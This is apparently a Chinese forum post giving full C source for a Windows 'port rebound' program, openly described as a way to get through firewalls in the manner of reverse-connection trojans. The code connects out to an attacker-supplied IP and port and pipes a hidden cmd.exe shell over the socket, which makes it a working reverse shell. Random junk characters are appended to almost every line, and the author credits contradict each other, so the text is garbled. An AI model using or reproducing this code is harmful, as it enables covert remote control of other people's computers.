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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \,7}mdQSv  
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/* ============================== 70;Jl).\{  
Rebound port in Windows NT [.S#rGYk  
By wind,2006/7 S4h:|jLUF  
===============================*/ *?Kr*]dnLl  
#include .b-f9qc=  
#include 2m35R&  
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#pragma comment(lib,"wsock32.lib") YA +E\  
s+EAB{w$  
void OutputShell(); Gmq/3tw  
SOCKET sClient; 9J>&29@us0  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nCj2N,mT  
]5$eAYq  
void main(int argc,char **argv) H+ 0$tHi  
{ =IW?WIXk  
WSADATA stWsaData; 3MY(<TGX  
int nRet; 24)(5!:"  
SOCKADDR_IN stSaiClient,stSaiServer; ZOQTINf  
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if(argc != 3) DJ(q 7W  
{ >ey\jDr#O  
printf("Useage:\n\rRebound DestIP DestPort\n"); 43Qtj$F  
return; KB'qRnkc  
} ]jaQ[g$F  
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WSAStartup(MAKEWORD(2,2),&stWsaData); q&/Yg,p\  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V %YiAr>  
9lW;Nk*j:  
stSaiClient.sin_family = AF_INET; Yl#Rib  
stSaiClient.sin_port = htons(0); ae0> W  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); RQ'H$r.7g  
v%s`~~u%^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (''M{n  
{ Y<Xz wro0  
printf("Bind Socket Failed!\n"); r]l!WRn  
return; W81E!RyP`  
} OZTPOz.  
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stSaiServer.sin_family = AF_INET; 2GWMlI  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'iGzkf}j  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !\"5rNy  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }f8Uc+  
{ 1}:bqI.<W  
printf("Connect Error!"); l*kPOyB  
return; Zuw?58RE\  
} '`XX "_k3  
OutputShell(); )d$glI+  
} H N.3  
}2uI?i8  
void OutputShell() hvuIxqv!y  
{ Nv/v$Z{k  
char szBuff[1024];  y7$iOR  
SECURITY_ATTRIBUTES stSecurityAttributes; `KK>~T_$J  
OSVERSIONINFO stOsversionInfo; 1Lg-.-V  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +S R+x/?z  
STARTUPINFO stStartupInfo; kRTwaNDOD  
char *szShell; f~d d3m('  
PROCESS_INFORMATION stProcessInformation; @Q^P{  
unsigned long lBytesRead; \z$p%4`E@  
&Ibu>di4[  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ka6,<C o  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); hlJq-*6'  
stSecurityAttributes.lpSecurityDescriptor = 0; rfgI$eu   
stSecurityAttributes.bInheritHandle = TRUE; E7CH^]x  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8&Oa_{1+Q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); IZ =Mlu  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B:e @0049  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #ceaZn|@m  
stStartupInfo.wShowWindow = SW_HIDE; +[ R/=$  
stStartupInfo.hStdInput = hReadPipe; 3$m4q`J  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; VA9Gb 9  
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GetVersionEx(&stOsversionInfo); i%g#+Gw  
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switch(stOsversionInfo.dwPlatformId) d8m6B6 CW  
{ MH{GR)ng:9  
case 1: .hba*dV  
szShell = "command.com"; z%e8K(  
break; X83 w@-$}  
default: UQ+?\wi*  
szShell = "cmd.exe"; _`I "0.B]  
break; F@*+{1R  
} LNa$ X5`  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7hi"6,  
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send(sClient,szMsg,77,0); h-m \%|D  
while(1) )* Q-.Je/U  
{ xw3YK!$sIF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6X\ 2GC9  
if(lBytesRead) _x? uU  
{ ObE,$_ k  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;+tpvnV;]  
send(sClient,szBuff,lBytesRead,0); ~,BIf+ \XF  
} :sP!p`dl  
else /-qxS <?o  
{ V h k _  
lBytesRead=recv(sClient,szBuff,1024,0); Tzn tO9P+  
if(lBytesRead<=0) break; cP}KU5j  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); u&9 r2R959  
} }>'PT -  
} K"0PTWt  
j8n4fv-)f  
return; A5H3%o(6k  
}
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